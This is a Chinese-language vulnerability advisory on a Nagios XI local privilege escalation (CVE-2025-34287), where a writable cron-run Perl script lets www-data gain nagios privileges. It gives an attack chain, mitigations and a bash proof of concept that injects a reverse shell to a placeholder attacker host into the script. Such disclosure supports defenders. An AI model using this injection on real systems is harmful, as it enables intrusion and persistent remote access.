CVE-2025-34287 Nagios XI 本地权限提升漏洞

漏洞信息

漏洞编号

CVE-2025-34287

漏洞类型

本地权限提升

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Nagios XI

漏洞概述

CVE-2025-34287是Nagios XI中的一个本地权限提升漏洞。该漏洞存在于Nagios XI 2024R2之前版本中的process_perfdata.pl脚本。由于该脚本的所有权配置错误，文件由www-data用户拥有，但却以nagios用户的权限定期执行。攻击者如果获得了Web服务器的访问权限，可以修改这个脚本的内容。由于脚本由nagios用户运行且具有可写权限，攻击者可以在下一次脚本执行时实现任意代码执行，从而实现本地权限提升，从www-data用户权限提升到nagios用户权限。这种不当的所有权和权限配置为本地攻击者提供了一条清晰的权限升级路径，绕过了正常的权限隔离机制。漏洞的CVSS评分为7.8，属于高危级别，对系统机密性、完整性和可用性都造成严重影响。

技术细节

该漏洞的根本原因在于文件所有权和权限的误配置。process_perfdata.pl脚本位于Nagios XI系统中，负责处理性能数据。该脚本应该由系统管理员或root用户拥有，但实际上被错误地设置为由www-data用户（Web服务器运行的用户）拥有。更为关键的是，该脚本对www-data用户具有写权限，并且系统会定期以nagios用户的身份执行此脚本。攻击者利用此漏洞的步骤如下：首先，通过Web应用程序漏洞（如文件上传、命令注入等）获得在Web服务器上执行代码的能力；然后，修改process_perfdata.pl脚本，在其中注入恶意代码（如添加一个反弹shell或后门）；最后，等待系统自动执行该脚本（通常由cron任务触发），恶意代码将以nagios用户的权限执行。由于nagios用户通常具有较高的系统权限，攻击者可以借此进一步渗透系统或获取敏感数据。修复此漏洞需要修正脚本的所有权为root或nagios，并移除www-data用户的写权限。

攻击链分析

STEP 1

步骤1

获得Web服务器访问权限：攻击者通过利用Nagios XI中的其他Web漏洞（如RCE、文件上传等）获得在www-data用户下执行代码的能力

STEP 2

步骤2

识别目标脚本：攻击者识别出process_perfdata.pl脚本位置，并确认该脚本由www-data用户拥有且具有写权限

STEP 3

步骤3

修改脚本内容：攻击者向process_perfdata.pl中注入恶意代码，如反弹shell、创建后门或执行任意系统命令

STEP 4

步骤4

等待定时任务触发：Nagios XI的cron任务会定期以nagios用户身份执行process_perfdata.pl脚本

STEP 5

步骤5

权限提升成功：当脚本执行时，注入的恶意代码将以nagios用户权限运行，攻击者获得nagios用户权限，实现本地权限提升

STEP 6

步骤6

持久化控制：攻击者可以利用nagios用户权限进一步渗透系统、访问敏感数据或获取更高权限

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-34287 PoC - Nagios XI Local Privilege Escalation
# Modify process_perfdata.pl to execute arbitrary code as nagios user

TARGET_SCRIPT="/usr/local/nagiosxi/scripts/process_perfdata.pl"
BACKUP_FILE="/tmp/process_perfdata.pl.bak"

# Check if we have write access to the target script
if [ ! -w "$TARGET_SCRIPT" ]; then
    echo "[-] No write access to $TARGET_SCRIPT"
    exit 1
fi

echo "[+] Backing up original script..."
cp "$TARGET_SCRIPT" "$BACKUP_FILE"

echo "[+] Injecting malicious code into process_perfdata.pl..."
# Inject a reverse shell payload that connects back to attacker
cat >> "$TARGET_SCRIPT" << 'EOF'

# CVE-2025-34287 - Malicious injection
if (-e "/tmp/.exploit_trigger") {
    system("bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1");
    unlink("/tmp/.exploit_trigger");
}
EOF

echo "[+] Creating trigger file..."
touch "/tmp/.exploit_trigger"

echo "[+] Waiting for cron job to execute the script..."
echo "[*] The next scheduled execution will trigger the payload as nagios user"

echo "[+] Cleanup: Restore original script"
# cp "$BACKUP_FILE" "$TARGET_SCRIPT"
# rm "$BACKUP_FILE"

影响范围

Nagios XI < 2024R2

防御指南

临时缓解措施

如果无法立即升级，可以通过以下措施临时缓解：1) 手动检查并修正process_perfdata.pl及其相关脚本的所有权，确保为root或nagios用户；2) 移除所有对www-data用户可写的脚本文件权限；3) 限制Web服务器的访问权限，防止通过Web漏洞修改系统脚本；4) 监控cron任务的执行日志，及时发现异常行为；5) 考虑禁用或限制自动执行的用户自定义脚本功能；6) 实施Web应用防火墙规则，防止通过Web接口进行未授权的文件操作。